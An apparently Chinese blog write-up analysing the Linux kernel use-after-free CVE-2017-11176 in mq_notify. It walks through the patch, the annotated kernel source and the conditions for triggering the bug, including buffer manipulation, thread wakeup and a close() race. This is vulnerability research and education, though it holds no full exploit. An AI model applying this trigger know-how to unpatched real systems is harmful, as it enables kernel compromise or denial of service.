CVE-2017-11176-Kernel-double-fetch漏洞分析

字数统计: 11.3k字   |   阅读时长≈ 52分

Linux内核中的 POSIX消息队列实现中存在一个UAF漏洞CVE-2017-11176。攻击者可以利用该漏洞导致拒绝服务或执行任意代码。

写在本篇文章的一点感触，最近分析了好几个漏洞，也逐渐总结出分析复现漏洞时，自己应该更注重的关键点：1. 清楚明白漏洞产生原因，代码流程理解需要更加透彻；2. 漏洞触发方法，需要考虑如何从用户角度去触发该漏洞，需要绕过的检查、保护；3. 漏洞利用手法，考虑利用手法的原理、其中关键点，以及是否有其他方法；4. EXP的写法，包括触发漏洞代码，与漏洞利用代码，最好是自己能够亲自写一遍EXP。总之，漏洞分析并不只是为了跟随前人脚步，而是要从中积累学习并有自己的独立思考。

漏洞分析

基础知识

fd, file object, fdt, file_struct

在 Linux中，有 7种文件：常规、目录、链接、字设备、块设备、fifo和 socket，他们都用文件描述符来表示。文件描述符本质上是一个整数，只有对特定进程才有意义。

fd：对于给定进程而言，是一个整数

file object(struct file)：表示一个已经打开的文件

1
2
3
4
5
6
7
8
9
struct  file  { 
    loff_t                             f_pos ;             //“cursor”，同时读取文件
    atomic_long_t                      f_count ;           //对象的引用计数器
    const  struct  file_operations       * f_op ;             //虚函数表（VFT）指针
  void                               * private_data ;       //文件“specialization”使用
  // ... 
};

struct file *filp; / *文件指针 * /

文件描述符和file结构体指针的映射表被称作 file descriptor table(fdt)，其并不是一对一映射，可能存在多个描述符映射到同一结构体指针的情况，因此 file结构体中有 f_count成员来记录引用情况。 FDT的结构体被称为 fdtable，其就是一个 array。

1
2
3
4
5
struct  fdtable  { 
    unsigned  int  max_fds ; 
    struct  file  **  fd ;       / *当前fd数组* / 
  // ... 
};

file_struct：将 fdt 链接到进程内部，file_struct 可以在多个线程之间共享。

1
2
3
4
5
struct  files_struct  { 
    atomic_t  count ;            //引用计数器
    struct fdtable  * fdt ;       //指向文件描述符表的指针
  // ... 
};

内核需要经常关注的虚函数表 (VFT)，名为 struct file_operations：

1
2
3
4
5
6
7
8
9
// [include/linux/fs.h]

struct file_operations {
    ssize_t (*read) (struct file *, char __user *, size_t, loff_t *);
    ssize_t (*write) (struct file *, const char __user *, size_t, loff_t *);
    int (*open) (struct inode *, struct file *);
    int (*release) (struct inode *, struct file *);
  // ...
};

由于 Linux中所有东西都被看作文件，但其类型又不一样，所有有着不一样的file operations，常被称作 f_ops：

1
2
if (file->f_op->read)
    ret = file->f_op->read(file, buf, count, pos);

socket, sock, skb

创建 socket时，例如调用 socket syscall，就会创建一个 struct file类型的 socket文件对象，然后创建一个结构体 socket_file_ops，里面包含了对这个 file的操作，并且将它的操作 file operations嵌入其中。

1
2
3
4
5
6
static const struct file_operations socket_file_ops = {
    .read = sock_aio_read,      // <---- calls sock->ops->recvmsg()
    .write =    sock_aio_write, // <---- calls sock->ops->sendmsg()
    .llseek =   no_llseek,      // <---- returns an error
  // ...
}

socket实际上实现了许多 BSD socket api，这些 api都被嵌入到一个虚拟函数表 virtual function table的结构体中，结构体被称为 proto_ops，每一种类型的 socket都执行他们自己的 proto_ops：

1
2
3
4
5
6
struct proto_ops {
    int     (*bind)    (struct socket *sock, struct sockaddr *myaddr, int sockaddr_len);
    int     (*connect) (struct socket *sock, struct sockaddr *vaddr,  int sockaddr_len, int flags);
    int     (*accept)  (struct socket *sock, struct socket *newsock, int flags);
  // ...
}

当一个 BSD-style syscall被调用的时候，一般流程如下：

  • 从 fdt 文件描述符表中，检索对应的 struct file(文件对象)
  • 从文件对象中找到 struct socket
  • 调用对应的 proto_ops进行回调

struct socket实际上在网络栈的最顶层，通常再进行一些 sending/receiving data操作时需要控制底层，因此 socket对象里面有一个指针指向了 sock对象(struct sock)。

1
2
3
4
5
6
struct socket {
    struct file     *file;
    struct sock     *sk;
    const struct proto_ops  *ops;
  // ...
};

当网卡收到一个来自外界的数据包时，网卡驱动会把这个packet(排队)放到 receiving buf中，这个 packet会一直在这个缓冲区内，直到应用程序决定接受(recvmsg())它。相反，当应用程序想要发送(sendmsg())一个数据包，这个 packet会被放到 sending buf内，一旦收到通知，网卡驱动就会将其发送出去。

这些 packet也被称为 struct sk_buff或者 skb，sending/receiving buf基本上是一个 skb的双向链表。

1
2
3
4
5
6
7
8
9
10
struct sock {
    int         sk_rcvbuf;    // theorical "max" size of the receive buffer
    int         sk_sndbuf;    // theorical "max" size of the send buffer
    atomic_t        sk_rmem_alloc;  // "current" size of the receive buffer
    atomic_t        sk_wmem_alloc;  // "current" size of the send buffer
    struct sk_buff_head sk_receive_queue;   // head of doubly-linked list
    struct sk_buff_head sk_write_queue;     // head of doubly-linked list
    struct socket       *sk_socket;
  // ...
}

从上面的结构体可以看出，sock对象中也引用了 socket对象 (sk_socket)，socket对象也引用了 sock对象(sk)，同理 struct socket中引用了 file对象(file)，struct file中引用了 socket对象(private_data)，这种双向机制使得数据可以贯通整个网络栈。

一种特殊的 socket，允许用户空间与 kernel通信，可以用来修改路由表，接受SElinux事件通知，甚至可以与其他用户空间进程进行通信。因为 struct与 struct socket都属于支持各种类型 socket的通用数据结构，从 socket对象的观点来看，proto_ops字段需要定义，对于 netlink家族来说，BSD-style socket的操作都是 netlink_ops：

1
2
3
4
5
6
7
static const struct proto_ops netlink_ops = {
    .bind =     netlink_bind,
    .accept =   sock_no_accept,     // <--- calling accept() on netlink sockets leads to EOPNOTSUPP error
    .sendmsg =  netlink_sendmsg,
    .recvmsg =  netlink_recvmsg,
  // ...
}

从 socket的角度来看，在 netlink的例子中，又有了专门的实现：

1
2
3
4
5
6
7
8
struct netlink_sock {
    /* struct sock has to be the first member of netlink_sock */
    struct sock     sk; <<<<+++++++++++++++++++
    u32         pid;
    u32         dst_pid;
    u32         dst_group;
  // ...
};

netlink_sock是由一个sock对象增加了许多附加属性。

上述三种结构体的总体架构如下图所示：

image-20210418140056160

引用计数

为了减少内核内存泄露和防止UAF，大多数Linux的数据结构中有 引用计数ref counter，为 atomic_t类型 int，通过如下原子操作对 ref counter进行操作：

  • atomic_inc()
  • atomic_add()
  • atomic_dec_and_test()

当一个对象被其他对象引用时，引用计数器+1，当删除引用后-1，当引用计数器为0时，就会释放该对象。Linux内核通过普通接口有多种手段处理 ref counter(kref，kobject)。但是其没有系统地使用操作的对象中已有的 refcounter helper，而是使用 *_get()和 *_put()等函数。

在每个例子中，每个对象都有不同的 helper名字：

  • struct sock：sock_hold()，sock_put()
  • struct file：fget(), fput()

正常情况下，对象的引用与释放是平衡的，但是当失去平衡的时候就会出现 memory corruption（内存破坏）

如下面的例子：

  • 引用技术减少两次：uaf
  • 引用计数增加两次：memory leak or int-overflow leading to uaf

漏洞原因

通过 path可以发现，漏洞产生的原因是因为没有把 sock对象的指针置为 NULL:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
diff --git a/ipc/mqueue.c b/ipc/mqueue.c
index c9ff943..eb1391b 100644
--- a/ipc/mqueue.c
+++ b/ipc/mqueue.c
@@ -1270,8 +1270,10 @@ retry:

      timeo = MAX_SCHEDULE_TIMEOUT;
      ret = netlink_attachskb(sock, nc, &timeo, NULL);
-     if (ret == 1)
+     if (ret == 1) {
+       sock = NULL;
        goto retry;
+     }
      if (ret) {
        sock = NULL;
        nc = NULL;

这段代码出现在 mq_notify函数中，return to the code->

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
SYSCALL_DEFINE2(mq_notify, mqd_t, mqdes,
        const struct sigevent __user *, u_notification)
{
    int ret;
    struct fd f;
    struct sock *sock;
    struct inode *inode;
    struct sigevent notification;
    struct mqueue_inode_info *info;
    struct sk_buff *nc;     //网络数据包
       //u_notification为用输入，判断其是否为空，不为空，则拷贝到内核空间，
    if (u_notification) {
        if (copy_from_user(&notification, u_notification,
                    sizeof(struct sigevent)))
            return -EFAULT;
    }
        //记录系统调用
    audit_mq_notify(mqdes, u_notification ? &notification : NULL);
        //初始化nc,sock
    nc = NULL;
    sock = NULL;
    if (u_notification != NULL) {
                //判断是哪一种通知方法
        if (unlikely(notification.sigev_notify != SIGEV_NONE &&
                 notification.sigev_notify != SIGEV_SIGNAL &&
                 notification.sigev_notify != SIGEV_THREAD))
            return -EINVAL;
                //通过发送指定的信号进行通知，并判断信号编号是否有效
        if (notification.sigev_notify == SIGEV_SIGNAL &&
            !valid_signal(notification.sigev_signo)) {
            return -EINVAL;
        }
        //通过创建线程进行通知
        if (notification.sigev_notify == SIGEV_THREAD) {
            long timeo;

            /* create the notify skb */
            // 申请内存，存放网络数据包（用于通知）
            nc = alloc_skb(NOTIFY_COOKIE_LEN, GFP_KERNEL);
            if (!nc) {
                ret = -ENOMEM;
                goto out;
            }
            //将notification.sigev_value.sigval_ptr拷贝到nc->data
            if (copy_from_user(nc->data,                           
                    notification.sigev_value.sival_ptr,
                    NOTIFY_COOKIE_LEN)) {
                ret = -EFAULT;
                goto out;
            }

            /* TODO: add a header? */
 			// 设置消息数据头部*/
            skb_put(nc, NOTIFY_COOKIE_LEN);
            /* and attach it to the socket */
retry:
                        /*根据fd获取对应的file对象*/
            f = fdget(notification.sigev_signo);
            if (!f.file) {
                ret = -EBADF;
                goto out;
            }
            /*在file object中获取对应的sock对象指针*/
            sock = netlink_getsockbyfilp(f.file);/*调用sock_hold(),sock对象的引用计数器+1*/
            fdput(f);/*file 的引用计数器-1*/
            if (IS_ERR(sock)) {
                ret = PTR_ERR(sock);
                sock = NULL;
                goto out;
            }

            timeo = MAX_SCHEDULE_TIMEOUT;
                        /*出现分支，1，0，other 三条路径*/
                        /*正常功能就是将skb加入到sk receiving buf中*/
            ret = netlink_attachskb(sock, nc, &timeo, NULL);
            if (ret == 1)
                goto retry; /*进入retry 逻辑*/
            if (ret) {
                sock = NULL;
                nc = NULL;
                goto out;
            }
        }
    }
/ *省略不必要的部分* /
out:
    if (sock)
        netlink_detachskb(sock, nc);
    else if (nc)
        dev_kfree_skb(nc);

    return ret;
}

mq_notify()函数，参数如下：

  • mdqes：消息队列描述符
  • notification：(1) not null：表示消息到达，且先前队列为空；(2)null: 表示撤销已注册的通知

通知方式：产生一个信号，创建一个线程执行一个函数。

通过分析上面代码可知，mq_notify()有如下几条途径：

  • u_notification为空时：调用 remove_notification()撤销已注册通知
  • u_notification不为空时：判断通知类型：
    1. SIGV_THREAD：申请内存空间并将用户空间通知拷贝到内核(nc)
    2. 将 nc 压入 sock 队列中
    3. 调用 fdget函数获取对应的 fd
    4. 调用 netlink_getsockbyfilp函数 从 fd 对应的 filp 中获取对应的sock对象
    5. 将数据包与sock相关联
    6. 根据返回值选择 continue/goto retry/goto out->goto retry；
    7. 如果返回值为1， 那么会进入 retry流程，也就从上述 步骤3 开始继续执行；
    8. 如果返回值为0，则会将 sock置为 null，同时走向 out流程。
    9. 在 out流程中，会判断 sock的值。如果 sock有值，则调用 netlink_detachskb。如果 nc有值则调用 dev_kfree_skb。
    10. 如果 close这个 file，那么将会直接 goto out，此时 sock不为空，会执行 netlink_datachskb()，导致 uaf

其中 netlink_getsockbyfilp函数，如下所示。通过 file_inode函数从 filp中获取 inode结点。然后调用 SOCKET_I处理 inode。然后判断 sock->sk_family是否为 AF_NETLINK。最后调用 sock_hold增加 sock的引用计数，此时 sock的引用计数为 1。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
struct sock *netlink_getsockbyfilp(struct file *filp)
{
	struct inode *inode = file_inode(filp);
	struct sock *sock;

	if (!S_ISSOCK(inode->i_mode))
		return ERR_PTR(-ENOTSOCK);

	sock = SOCKET_I(inode)->sk;
	if (sock->sk_family != AF_NETLINK)
		return ERR_PTR(-EINVAL);

	sock_hold(sock);
	return sock;
}

SOCKET_I函数如下所示，调用 container_of处理 inode。

1
2
3
4
static inline struct socket *SOCKET_I(struct inode *inode)
{
	return &container_of(inode, struct socket_alloc, vfs_inode)->socket;
}

这里container_of是一个宏定义，其作用是在 socket_alloc中找出其 sock成员。

在 mq_notify()函数中，还会执行 一个函数 netlink_attachskb函数，该函数是将 skb绑定到 netlink socket上，代码如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
int netlink_attachskb(struct sock *sk, struct sk_buff *skb,
              long *timeo, struct sock *ssk)
{
    struct netlink_sock *nlk;

    nlk = nlk_sk(sk);
        /*判断sk的实际大小与理论大小 or netlink_sock是否处于拥堵状态*/
    if ((atomic_read(&sk->sk_rmem_alloc) > sk->sk_rcvbuf ||
         test_bit(NETLINK_CONGESTED, &nlk->state)) &&
        !netlink_skb_is_mmaped(skb)) {
                /*声明一个等待队列*/
        DECLARE_WAITQUEUE(wait, current);
        //不进入该分支
        if (!*timeo) {
            if (!ssk || netlink_is_kernel(ssk))
                netlink_overrun(sk);
            sock_put(sk);
            kfree_skb(skb);
            return -EAGAIN;
        }
        /*设置当前task状态为TASK_INTERRUPTIBLE*/
        __set_current_state(TASK_INTERRUPTIBLE);
        /*当前线程被添加到wait 队列*/
        add_wait_queue(&nlk->wait, &wait);
		
        if ((atomic_read(&sk->sk_rmem_alloc) > sk->sk_rcvbuf ||	//该条件为真
             test_bit(NETLINK_CONGESTED, &nlk->state)) &&	//该条件为真
            !sock_flag(sk, SOCK_DEAD))		//因此想绕过这个检测，必须使 sock_flag为 SOCK_DEAD
            *timeo = schedule_timeout(*timeo);	//通过 schedule_timeout进行CPU调度，当前线程将进入block状态
                /*设置当前task状态为TASK_RUNNING*/
        __set_current_state(TASK_RUNNING);
                /*移除等待队列*/
        remove_wait_queue(&nlk->wait, &wait);	//这里将当前线程从wait队列中移除
        sock_put(sk);/*sock对象的引用计数器-1，此时加减平衡*/

        if (signal_pending(current)) {
            kfree_skb(skb);
            return sock_intr_errno(*timeo);
        }
        return 1;
    }
    netlink_skb_set_owner_r(skb, sk);
    return 0;
}

static void netlink_skb_set_owner_r(struct sk_buff *skb, struct sock *sk)
{
    WARN_ON(skb->sk != NULL);
    skb->sk = sk;
    skb->destructor = netlink_skb_destructor;
    atomic_add(skb->truesize, &sk->sk_rmem_alloc);
    sk_mem_charge(sk, skb->truesize);
}

在 netlink_attachskb函数中，主要逻辑如下：

  1. 判断 atomic_read(&sk->sk_rmem_alloc)是否大于sk->sk_rcvbuf，或者 test_bit(NETLINK_CONGESTED, &nlk->state))是否为真，和 netlink_skb_is_mmaped(skb)是否为空；其中 netlink_skb_is_mmaped(skb)返回结构肯定为 True。：

    1. 如果进入该分支，首先会调用 DECLARE_WAITQUEUE声明一个等待队列；
    2. 判断timeo是否为空，这里不为空，不进入后续分支；
    3. 随后调用 __set_current_state设置当前task状态 TASK_INTERRUPTIBLE；
    4. 然后调用 add_wait_queue将当前线程添加到 wait队列；
    5. 然后进入判断，由于 (atomic_read(&sk->sk_rmem_alloc) > sk->sk_rcvbuf || test_bit(NETLINK_CONGESTED, &nlk->state))这个判断在最开始已经为真，所以只需要确定 sock_flag是否为 sock_DEAD。若为真，则调用 schedule_timeout进行cpu调度，当前线程进入 block状态；
    6. 调用 __set_current_state函数，设置当前task为 TASK_RUNNING；
    7. 调用 remove_wait_queue函数，将当前线程从 wait队列中移除；
    8. 调用 sock_put函数，将 sock的引用计数减1；
    9. 最后调用 signal_pending判断当前 current，若为真，则调用 kfree_skb释放 skb；
    10. 最后返回 1。

  2. 如果不进入该分支，则会调用 netlink_skb_set_owner_r函数：

    1. 会调用 atomic_add将 sk->sk_rmem_alloc加上 skb->truesize，也就是扩大了 sk->sk_rmem_alloc大小。

那么，现在分析一下，上述第一步中的判断是否能通过。首先 netlink_skb_is_mmaped(skb)肯定为True，所以 只需要使得 (atomic_read(&sk->sk_rmem_alloc) > sk->sk_rcvbuf || test_bit(NETLINK_CONGESTED, &nlk->state))为真就行。 这里 最开始 sk->sk_rmem_alloc的值有可能为 0， 所以不一定能通过。

而为了触发漏洞 我们必须使得 netlink_attachskb的返回值为 1， 也就是必须使得 进入该分支。那么这里就有两种思路：

  1. 增大 sk->sk_rmem_alloc的值
  2. 减小 sk->sk_rcvbuf的值

触发漏洞

由上述代码可知 ret==1时触发漏洞，ret是 netlink_attachskb的返回值，分析一下 mq_notify系统调用执行到 netlink_attachskb的条件：

  • u_notification != NULL
  • notification.sigev_notify = SIGEV_THREAD
  • notification.sigev_value.sival_ptr必须有效
  • notification.sigev_signo提供一个有效的文件描述符

到达 netlink_attachskb函数。

增大 sk->sk_rmem_alloc

在 netlink_attachskb函数中，首先会对 sk->sk_rmem_alloc与 sk->sk_recvbuf函数进行判断，如果判断不通过，则直接执行 netlink_set_owner_r函数：

1
2
3
if ((atomic_read(&sk->sk_rmem_alloc) > sk->sk_rcvbuf ||
         test_bit(NETLINK_CONGESTED, &nlk->state)) &&
        !netlink_skb_is_mmaped(skb))

sk_rmem_alloc可以视为 sk缓冲区的当前大小，sk_rcvbuf是 sk的理论大小，因为 sk_rmem_alloc有等于0的情况，因此 sk_rcvbuf可能需要 <0 才可以，在 sock_setsockopt函数中可以设置 sk_rcvbuf的值，但是它的值始终会是一个 >0的值，因此这个判断很难以通过。会直接执行 netlink_skb_set_owner_r。

那么是否能够通过多次调用 mq_notify()函数，第一次直接执行 netlink_skb_set_owner_r来增大 sk_rmem_alloc，然后第二次执行时 由于 sk_rmem_alloc已经增大了 来进入 返回 1的路径。

这里是不行的，因为 消息队列的一个成员只能执行一次。所以只能想办法用其他路径来触发 netlink_skb_set_owner_r，以此来增大 sk_rmem_alloc。这里现寻找一下关于 netlink_skb_set_owner_r的调用链。

netlink_sendling

而最终发现如下调用链，可以调用 skb_set_owner_r来更改 sk_rmem_alloc的值：

1
netlink_sendmsg->netlink_unicast->netlink_attachskb->netlink_skb_owner_r

那么在用户空间又如何顺利通过调用 sendmsg来实现调用 netlink_sendmsg呢？这里先分析 netlink_sendmsg， 该函数如下所示：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
static int netlink_sendmsg(struct socket *sock, struct msghdr *msg, size_t len)
{
    struct sock *sk = sock->sk;
    struct netlink_sock *nlk = nlk_sk(sk);
    DECLARE_SOCKADDR(struct sockaddr_nl *, addr, msg->msg_name);
    u32 dst_portid;
    u32 dst_group;
    struct sk_buff *skb;
    int err;
    struct scm_cookie scm;
    u32 netlink_skb_flags = 0;
	//msg->msg_flags不能设置MSG_OOB
    if (msg->msg_flags&MSG_OOB)
        return -EOPNOTSUPP;

    err = scm_send(sock, msg, &scm, true);
	//err值需要非负
    if (err < 0)
        return err;
	//检查send和receive套接字连接是否成功，这里需要进入该分支，所以msg->msg_namelen不为0
    if (msg->msg_namelen) {	//走这条路径
        err = -EINVAL;
        //msg->msg_name->nl_family 需要为AF_NETLINK
        if (addr->nl_family != AF_NETLINK)
            goto out;
        //发送单播消息而不是广播，需要msg->msg_name->dst_group为0
        dst_portid = addr->nl_pid;	//dst_portid来自 addr->nl_pid，为我们控制
        dst_group = ffs(addr->nl_groups);
        err =  -EPERM;
        if ((dst_group || dst_portid) &&	
            //运行代码的是用户态，所以send套接字需要协议为NETLINK_USERSOCK
            !netlink_allowed(sock, NL_CFG_F_NONROOT_SEND))
            goto out;
        netlink_skb_flags |= NETLINK_SKB_DST;
    } else {
        dst_portid = nlk->dst_portid;	//用户无法控制dst_portid和dst_group
        dst_group = nlk->dst_group;
    }

    if (!nlk->portid) {
        err = netlink_autobind(sock);
        if (err)
            goto out;
    }

    /* It's a really convoluted way for userland to ask for mmaped
     * sendmsg(), but that's what we've got...
     */
    //判断msg->msg_iter由我们控制
    if (netlink_tx_is_mmaped(sk) &&
        msg->msg_iter.type == ITER_IOVEC &&
        msg->msg_iter.nr_segs == 1 &&
        msg->msg_iter.iov->iov_base == NULL) {
        err = netlink_mmap_sendmsg(sk, msg, dst_portid, dst_group,
                       &scm);
        goto out;
    }

    err = -EMSGSIZE;
    
    //len在___sys_sendmsg()函数中得出是iovec的总长度，为了小于sk->sk_sndbuf-32，使msg->msg_iovlen=1,msg->msg_iov->iov_len就基本比sk->sk_sndbuf-32小
    //为了使___sys_sendmsg()函数不出错，msg->msg_iov需要用户态可读，msg->msg_iov->iov_base也需要用户态可读
    if (len > sk->sk_sndbuf - 32)
        goto out;
    err = -ENOBUFS;
    skb = netlink_alloc_large_skb(len, dst_group);
    if (skb == NULL)
        goto out;

    NETLINK_CB(skb).portid  = nlk->portid;
    NETLINK_CB(skb).dst_group = dst_group;
    NETLINK_CB(skb).creds   = scm.creds;
    NETLINK_CB(skb).flags   = netlink_skb_flags;

    err = -EFAULT;
    if (memcpy_from_msg(skb_put(skb, len), msg, len)) {
        kfree_skb(skb);
        goto out;
    }

    err = security_netlink_send(sk, skb);
    if (err) {
        kfree_skb(skb);
        goto out;
    }
	//设置为0，绕过进入下一行代码
    if (dst_group) {
        atomic_inc(&skb->users);
        netlink_broadcast(sk, skb, dst_portid, dst_group, GFP_KERNEL);
    }
    //进入下一层函数
    err = netlink_unicast(sk, skb, dst_portid, msg->msg_flags&MSG_DONTWAIT);

out:
    scm_destroy(&scm);
    return err;
}

执行 netlink_unicast函数，需满足如下条件：

  • msg->msg_flags不等于 MSG_OOB
  • scm_send返回值大于等于0，也即保证 msg->msg_controllen<=0即可
  • addr->nl_family = AF_NETLINK ，且 dst_group不等于 dst_portid，netlink_allowed返回值不为空
  • nlk->portid不为空，且 sk->sk_sndbuf-32大于 len
  • 需要控制 msg->msg_iter的 type\ nr_segs\ iov为对应值
  • 最后调用 netlink_unicast

这样即可执行 netlink_unicast，而这个函数里没有易于我们控制的参数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
int netlink_unicast(struct sock *ssk, struct sk_buff *skb,
		    u32 portid, int nonblock)
{
	struct sock *sk;
	int err;
	long timeo;

	skb = netlink_trim(skb, gfp_any());
	//保证nonblock为msg->msg_flags&MSG_DONTWAIT，这样线程才不会被block
	timeo = sock_sndtimeo(ssk, nonblock);
retry:
	sk = netlink_getsockbyportid(ssk, portid);
	if (IS_ERR(sk)) {
		kfree_skb(skb);
		return PTR_ERR(sk);
	}
    //在用户层创建socket应使用NETLINK_USERSOCK
	if (netlink_is_kernel(sk))
		return netlink_unicast_kernel(sk, skb, ssk);

	if (sk_filter(sk, skb)) {
		err = skb->len;
		kfree_skb(skb);
		sock_put(sk);
		return err;
	}

	err = netlink_attachskb(sk, skb, &timeo, ssk);
	if (err == 1)
		goto retry;
	if (err)
		return err;

	return netlink_sendskb(sk, skb);
}
EXPORT_SYMBOL(netlink_unicast);

调用该函数可以直接通过调用链调用 netlink_attachskb，最后调用 netlink_skb_set_owner_r，而该函数会执行 atomic_add该函数如下：

1
2
3
4
5
6
static inline void atomic_add(int i, atomic_t *v)
{
	asm volatile(LOCK_PREFIX "addl %1,%0"
		     : "+m" (v->counter)
		     : "ir" (i));
}

也即会增加 sk_rmem_alloc的值。

减小 sk->sk_rcvbuf

上面讲述了方法1，如何增大 sk->sk_rmem_alloc。这里讲解如何减小 sk->sk_rcvbuf。首先需要找到一个能减小 sk->sk_rcvbuf的函数，在 setsockopt函数中，找到 sock_setsockopt的函数，其中有对 sk->sk_rcvbuf的操作：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
int sock_setsockopt(struct socket *sock, int level, int optname,
		    char __user *optval, unsigned int optlen)
{
	struct sock *sk = sock->sk;
	int val;
	int valbool;
	struct linger ling;
	int ret = 0;

	/*
	 *	Options without arguments
	 */

	if (optname == SO_BINDTODEVICE)
		return sock_setbindtodevice(sk, optval, optlen);
	//optlen不小于 sizeof(int)
	if (optlen < sizeof(int))	
		return -EINVAL;
	//将optval赋值到 val中
	if (get_user(val, (int __user *)optval))
		return -EFAULT;

	valbool = val ? 1 : 0;

	lock_sock(sk);
	//保证optname为 SO_RCVBUF
	switch (optname) {
	
            ...	//有省略
        
	case SO_RCVBUF:
		/* Don't error on this BSD doesn't and if you think
		 * about it this is right. Otherwise apps have to
		 * play 'guess the biggest size' games. RCVBUF/SNDBUF
		 * are treated in BSD as hints
		 */
		val = min_t(u32, val, sysctl_rmem_max);
set_rcvbuf:
		sk->sk_userlocks |= SOCK_RCVBUF_LOCK;
		/*
		 * We double it on the way in to account for
		 * "struct sk_buff" etc. overhead.   Applications
		 * assume that the SO_RCVBUF setting they make will
		 * allow that much actual data to be received on that
		 * socket.
		 *
		 * Applications are unaware that "struct sk_buff" and
		 * other overheads allocate from the receive buffer
		 * during socket buffer allocation.
		 *
		 * And after considering the possible alternatives,
		 * returning the value we actually used in getsockopt
		 * is the most desirable behavior.
		 */
		sk->sk_rcvbuf = max_t(u32, val * 2, SOCK_MIN_RCVBUF);
		break;

首先 val从 val和 sysctl_rmem_max中取最小值。然后 sk->sk_rcvbuf从 val*2和 sock_min_rcvbuf中取最大值。这里就可以修改 sk->sk_rcvbuf的值。

这里的 val是由我们传入的。也即可由我们控制。

那么这里就找到一个控制 sk->sk_rcvbuf的方法。

唤醒线程

在上面对 netlink_attachskb进行分析时讲到 当进入 if分支后，会执行 schedule_timeout，会让当前线程进入 block状态。而不想阻塞线程，只能设置 sock_flag为SOCK_DEAD，但是如果这样设置 后面就没法再执行了。所以这里必须得进入 block状态，我们只能想办法取唤醒被 block的线程。

这里原文采用的方法，是调用 wake_up_interruptible来唤醒线程。那如何调用 wake_up_interruptible呢？这里的函数调用链如下：

1
netlink_setsockopt->wake_up_interruptible

netlink_setsockopt代码如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
static int netlink_setsockopt(struct socket *sock, int level, int optname,
			      char __user *optval, unsigned int optlen)
{
	struct sock *sk = sock->sk;
	struct netlink_sock *nlk = nlk_sk(sk);
	unsigned int val = 0;
	int err;
	//level必须为 SOL_NETLINK
	if (level != SOL_NETLINK)
		return -ENOPROTOOPT;
	//optname不能为NETLINK_RX_RING和NETLINK_TX_RING
	if (optname != NETLINK_RX_RING && optname != NETLINK_TX_RING &&
	    optlen >= sizeof(int) &&	//optlne大于 sizeof(int)
	    get_user(val, (unsigned int __user *)optval))
		return -EFAULT;
	
    //保证optname为NETLINK_NO_ENOBUFS
	switch (optname) {
	
            ...
        
	case NETLINK_NO_ENOBUFS:
		if (val) {
			nlk->flags |= NETLINK_RECV_NO_ENOBUFS;
			clear_bit(NETLINK_CONGESTED, &nlk->state);
            //调用wake_up_interruptible唤醒 nlt->wait
			wake_up_interruptible(&nlk->wait);
		} else {
			nlk->flags &= ~NETLINK_RECV_NO_ENOBUFS;
		}
		err = 0;
		break;
#ifdef CONFIG_NETLINK_MMAP
	case NETLINK_RX_RING:
	case NETLINK_TX_RING: {
		struct nl_mmap_req req;

		/* Rings might consume more memory than queue limits, require
		 * CAP_NET_ADMIN.
		 */
		if (!capable(CAP_NET_ADMIN))
			return -EPERM;
		if (optlen < sizeof(req))
			return -EINVAL;
		if (copy_from_user(&req, optval, sizeof(req)))
			return -EFAULT;
		err = netlink_set_ring(sk, &req, false,
				       optname == NETLINK_TX_RING);
		break;
	}
#endif /* CONFIG_NETLINK_MMAP */
	default:
		err = -ENOPROTOOPT;
	}
	return err;
}

漏洞触发

此时经过上面的操作，已经能够保证 netlink_attackskb首先进入 retry分支。然后我们要使 retry循环出错，直接跳转到 out。

如果是 netlink_attachskb的正常逻辑：

  • netlink_getsockbyfilp根据 fd 获取 sock结构，此时 sock的引用加1；
  • 然后进入 attachskb函数，判断此时的 sk是不是满了，如果 满了，则 sock 的引用减一；
  • 然后继续尝试获取 sock，当 sock 还有剩余空间的时候，把 skb跟 sock绑定；
  • 此时 sock的引用，一加一减保持平衡。

但是，如果有两个线程同时竞争则会产生如下情况：

1
2
3
4
5
6
7
8
9
10
11
12
																				Thread11							|Thread12				| file refcnt | sock refcnt | sock ptr  	   |
------------------------------------------------------------------------------------------------------------
mq_notify()																										|								| 1					  | 1           | NULL
 fget(TARGET_FD)->ok																					|								| 2			 		  | 1           | NULL
 netlink_getsockbyfilp()->ok																	|								| 2					  | 2			|0xffffffc0aabbccdd
 fput(TARGET_FD)->ok																					|								| 1			  		| 2			|0xffffffc0aabbccdd
 netlink_attachskb()->ok																			|								| 1					  | 1			|0xffffffc0aabbccdd
 																															| close(TARGET_FD)->ok	| 0			  | 0			|0xffffffc0aabbccdd
 goto retry																										|								| FREE			  | FREE		|0xffffffc0aabbccdd
 fget(TARGET_FD)->NULL																				|								| FREE			  | FREE        |0xffffffc0aabbccdd
 goto out																											|								| FREE		  | FREE		|0xffffffc0aabbccdd 
 netlink_detachskb()->UAF!																		|								| FREE		  |	-1(in uaf)	|0xffffffc0aabbccdd

